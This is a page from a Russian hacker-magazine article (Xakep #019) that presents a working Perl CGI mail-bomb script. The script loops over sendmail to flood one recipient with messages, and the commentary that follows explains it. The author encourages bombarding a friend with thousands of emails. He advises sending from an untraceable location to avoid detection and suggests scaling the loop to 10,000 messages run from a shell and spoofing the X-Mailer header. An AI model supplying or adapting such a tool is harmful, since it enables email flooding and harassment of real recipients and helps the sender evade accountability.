Бомба в мыле

CuTTer (icutter@mail.ru)

Xakep, номер #019, стр. 019-042-3


if ($num eq "") {$num=0;} # Если ничего не записано, то значит отправлено 0 писем

for ($i=1; $i<=$col; $i++){ # Начинаем цикл

$n=$i+$num; # Присваиваем переменной $send номер письма

open (MAIL, "|$mailprog -t"); # Открываем программу sendmail

print MAIL "Content-Type: text/plain; charset=windows-1251\n"; # Выводим заголовок

print MAIL "Subject: Привет от Васи!\n"; # Выводим тему сообщения

print MAIL "To: $mail\n"; # Кому шлем

print MAIL "From: $from\n\n"; # От кого шлем

print MAIL "Здравствуй, ты читаешь сообщения №$n. Можешь читать следующее :-))\n";

# Выводим само сообщение

print MAIL "\n\n"; # Конец письма

close (MAIL); # Заканчиваем работу с sendmail'ом

}

open (DATA, ">$file"); # Открываем файл с данными о кол-ве отправленных писем

print DATA $num+$col; # Записываем кол-во отправленных писем

close (DATA); # Закрываем файл

print "Content-type: text/html\n\n"; # Выводим лажу (заголовок HTML файла)

print "$num\n"; # Выводим кол-во отправленных писем

print "\n"; # Заканчиваем скрипт

# Вот и весь скрипт

Как видишь, программа довольно простая, если ты не знаешь, что такое \n, то это не страшно. Эта штука обозначает только перенос на следующую строку. Ты, наверное, заметил, что каждое письмо должно заканчиваться двойным \n. Это сделано, чтобы программа (sendmail) поняла, что мы ей все сказали для отправки письма. В конце мы выводим количество отправленных писем, для твоего же удобства. Но самое приятное, что программа почти не ест твой Интернет трафик. Поставил работать программу и смотришь к себе в браузер, а там: 50, 100 отправленных писем... через полчасика 3450 или еще больше. Не-е, хватит, думаю, на сегодня. Закрываем браузер, а потом через некоторое время продолжаем. Прикольно! Я думаю, что твой кент будет в восторге - по аудиториям будет ходить злой, за всеми пристально следить: вдруг кто в ответ улыбнется. А ты не улыбайся, он ведь сразу просечет, что это ты такой шутник :-). Правда, он все равно сможет догадаться (если не тормоз), так как в письме почтовые программы любят дописывать, кто это в действительности отправил (например, agava.ru полностью выдает твое мыло), но так делают не все. Делай свою рассылку с какого-нибудь левого местечка, чтобы все чисто было.

Вечный Upgrade...

Программа, конечно, работает, но вдруг тебе что-нибудь захочется сделать эдакое. Так что извращайся над кодом как хочешь, главное, чтоб он работал :-)). Например, переделай его для запуска из-под shell'а. Для этого надо сделать цикл не от единицы до переменной $col, а до нескольких тысяч. Замени $col на 10000, тогда программа отошлет 10000 писем, и не забудь удалить из кода команду вывода HTML файла, которая заново запускает саму программу, нам это не нужно. Также надо стереть весь код, который обращается к файлу bomb.txt, тебе он тоже не потребуется. Ну а если совсем заняться нечем, то можешь в письме добавить поле X-Mailer. В нем находится имя программы, которая отправляет письма. Если хочешь, чтобы твой почтовый клиент показал, что письмо было отправлено программой, типа Fucking Outlook Express ver 1.666, для этого тебе надо вставить такую строку:

Назад на стр. 019-042-2  Содержание  Вперед на стр. 019-042-4